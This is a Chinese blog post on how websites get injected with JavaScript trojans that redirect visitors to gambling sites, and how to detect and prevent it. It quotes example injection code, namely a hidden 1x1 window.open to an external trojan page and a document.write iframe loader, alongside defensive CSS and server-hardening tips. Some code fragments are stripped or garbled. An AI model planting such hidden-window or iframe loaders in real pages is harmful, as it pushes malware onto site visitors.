网站被挂马的处理办法以及预防措施

简介:
+关注继续查看

喜欢的朋友可以关注下。
相信很多的朋友都有遇见过,通过百度快照访问一个网站被跳转到另一个目标网站。

这就说明网站被劫持了,那么黑客为什么要劫持这些网站呢?黑客一般选择什么样的网站下手?下面我们就一起分析一下。

首先黑客一般都会选择信息类网站,购物网站等,因为这些网站的IP高,劫持这些网站能达到他们的引流目的。我们这来做一个假设,如果有100个用户准备访问A网站,但都被劫持到B网站了,那么只是会有10%的用户会对B网站产生兴趣,那么他们的引流目的就达到了,对于A网站而言,他们就损失了部分用户,这是他们不愿看见的,所以他们是很痛恨黑客的。

当然被黑客劫持的网站往往他们都会引流到一些菠菜类的网站,相信很多人看了都会有去搏一搏的心态,一玩不要紧,如果你的控制能力很差的话,那么你就深深的陷入了,这是一个吃人不吐骨头的,这里还是温馨的提醒大家 不要有赌博的心态,不说题外话了,下面我们就一起来看看所谓的木马。

首先,我们需要弄清楚黑客一般是通过哪些渠道来给网站挂木马的。

1.通过漏洞(例如一个软件的漏里,给你的服务器上传一些命令脚本)

2.破解你的服务器账号密码,创建子用户,任意上传脚本文件

这里我来例举一些常见的木马脚本命令:

现在最多见的JS挂马方法有两种,一种是直接将JavaScript脚本代码写在网页中,当访问者在浏览网页时,恶意的挂马脚本就会通过用户的浏览器悄悄地打开网马窗口,隐藏地运行。

这种方法使用的关键代码如下:
window.open("http://www.mahaixiang.cn/木马.html","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1");
这种代码往往很长,很容易被安全工程师发现,而且没有经验的黑客也喜欢将“width”和“height”参数设为“0”,但是设置为0后,可能会出现恶意代码不运行的情况。

另外一种JS挂马方式是,黑客先将挂马脚本代码“document.write('<Iframe src="网页木马地址" >>')”,写入Windows中的写字板另存为后缀为.js的脚本文件,并上传到自己指定的网址。这时黑客只需要在受害者 的网站中写入:


或者

document.write("

")
document.write("")
document.write("
")
还有这种方式


image

这个图大家都能看明白,这就黑客的攻击流程。

其次,当我们发现自己的网站被挂马了,改如何来做呢?

当你的网站文件不是很多时,那么你可以一个一个来查看,看见陌生的代码,这时你就需要注意了,有可能就是木马了。

那么如果你的文件有成千上万个,自己一个一个的看那不是要看到眼花,这里我给大家推荐一款免费的查找工具护卫神,下面我把工具分享给大家需要可以下载

https://download.csdn.net/download/dsn727455218/10592371

这里面,是有三款软件,其一就是木马查找工具,已经防篡改工具,及防攻击的

上面介绍的是用工具来防止被挂马,那么我们通过代码来如何实现呢,一起来看看

防第一种JS挂马方式,不方便,用得非常少,而第二种JS挂马方式才是当前主流的,所以我们主要针对它进行防御。方法就是阻止Src请求的异地外域的JS脚本,代码如下:

iframe{mdy1:expression(this.src='about:blank',this.outerHTML='');}
  script{mzm2:expression((this.src.toLowerCase().indexOf('http')==0)?document.write('木马被成功隔离!'):'');}
不过这种方法的缺点就是网站的访问者将不能看到被挂了JS木马的相关网页。

所以我们为安全工程师提供了一段可以中止JS脚本运行的CSS代码,这段代码会让异地外域的JS文件在使用document.write()时,被 document.close()强制关闭。这个时侯JS挂马的内容往往还没有来得及写完,只有部分被强制输出了,Writer后面的内容再不会被写入访 问者的电脑中,从而起到防范JS脚本挂马的作用。

让JS木马的进程迅速中止

之间加入如下代码:

屏蔽script和iframe


单屏蔽script


通过添加一个代码来防止被被人挂马。

下面我就给大家分享一下如何做好服务器安全工作:

1.对项目文件增加读写权限

2.服务器的密码不要用什么root,admin,123456这些很容易被试出来的,相信很多人都是用这个密码吧。

3.服务器限制IP登录,一般登录服务器基本上都是那么两个人可以设置白名单,其他的一律禁止登录

4.不定期的维护等

5.当然如果你们公司有钱,也可买付费产品,他们能防止的很多,我看阿里云的安骑士专业版一年的费用都是好几千,还不算其他的一些产品,相信很多的小公司,都不愿出这个钱,所以大家还是努力做好自己的防护措施。

如有需要可以加我Q群【308742428】大家一起讨论技术。

后面会不定时为大家更新文章,敬请期待。

喜欢的朋友可以关注下。

相关文章
|
10月前
|
前端开发
给网站“挂”上灯笼
给网站“挂”上灯笼
36 0
|
SQL 存储 监控
卧槽,sql注入竟然把我们的系统搞挂了(下)
卧槽,sql注入竟然把我们的系统搞挂了(下)
|
SQL 安全 关系型数据库
卧槽,sql注入竟然把我们的系统搞挂了(上)
卧槽,sql注入竟然把我们的系统搞挂了(上)
卧槽,sql注入竟然把我们的系统搞挂了(上)
|
数据采集 消息中间件 NoSQL
可恶的爬虫直接把生产6台机器爬挂了!
可恶的爬虫直接把生产6台机器爬挂了!
100 0
可恶的爬虫直接把生产6台机器爬挂了!
|
安全 SEO
我的网站被挂马了导致排名没了怎么解决
昨天我的网站出现了问题,我有一个医疗设备的网站,然后就是百度搜索,你百度搜索关键词后,然后出来了一个出来我的网站,但是他点击进去以后,他直接跳转到一个游戏界面了,然后我问我的那个技术员,他说网站被木马劫持了,应该是网站,可能是被挂木马了什么的,然后我技术员说了一句话挺搞笑的,他说黑客攻击你的网站,在你网站上挂木马,说明就被挂了后门什么的,说明你的网站有潜力哈哈。当时我就感觉非常搞笑,然后技术员修复了漏洞清理了木马后门,总之让他说的就是这个问题很简单,直接修复就可以了,他说的也有一点道理,反正挺搞笑的这个答案(后来才知道这个技术员也是懂点皮毛,当时他也是找的网站漏洞修复公司给解决的)。
94 0
我的网站被挂马了导致排名没了怎么解决
|
安全 算法 数据安全/隐私保护
关于网站被挂马的症状以及处理解决方法
如今绝大多数站长都在想着怎么建设外链,怎么发布网站内容,把自己网站的弄到首页或是前三位,网站安全其实也需要站长们注意,因为一旦网站安全出了问题,网站的排名也会受到很大的影响。下面就仔细分析几种关于网站安全的现象以及处理的方法。
364 0
关于网站被挂马的症状以及处理解决方法
|
CDN
为啥我的网站服务器访问速度慢?网站都没人看了
载入速度对于网站、游戏、APP、视频等等来说,可以说是生死存亡的关键,如果长期访问速度不稳定,会造成客户流失、效益受损,甚至导致整体形象的损坏。而访问速度的快慢是与多方面的原因相关,我们今天可以大致了解下:
522 0
|
架构师 算法 Java
不要网上乱拷贝代码了!一段网上找的代码把公司服务器崩了!
碰到一个需求,给服某些要求的玩家的发送道具奖励,奖励的数量根据离线的天数计算。这个需求实现起来很简单,只需要在玩家上线的时候计算上次离线时间和当前时间间隔的天数,然后根据策划的算法,计算出道具种类与数量,发一封邮件给玩家就可以了。
|
SQL 安全
如何防止网站被挂马,生成非法垃圾文件?
客户的网站网址打开出现非法跳转到有其它菠菜网站,同时网站目录被生成了许多的垃圾非常文件。 比如客户输入了他正常的域名,打开访问后非常跳转到如下的网站 庆幸客户自己对网站所有的文件都做了定期的备份,客户为了尽快地解决这个问题,反复操作恢复正常的备份文件。
2094 0
推荐文章
更多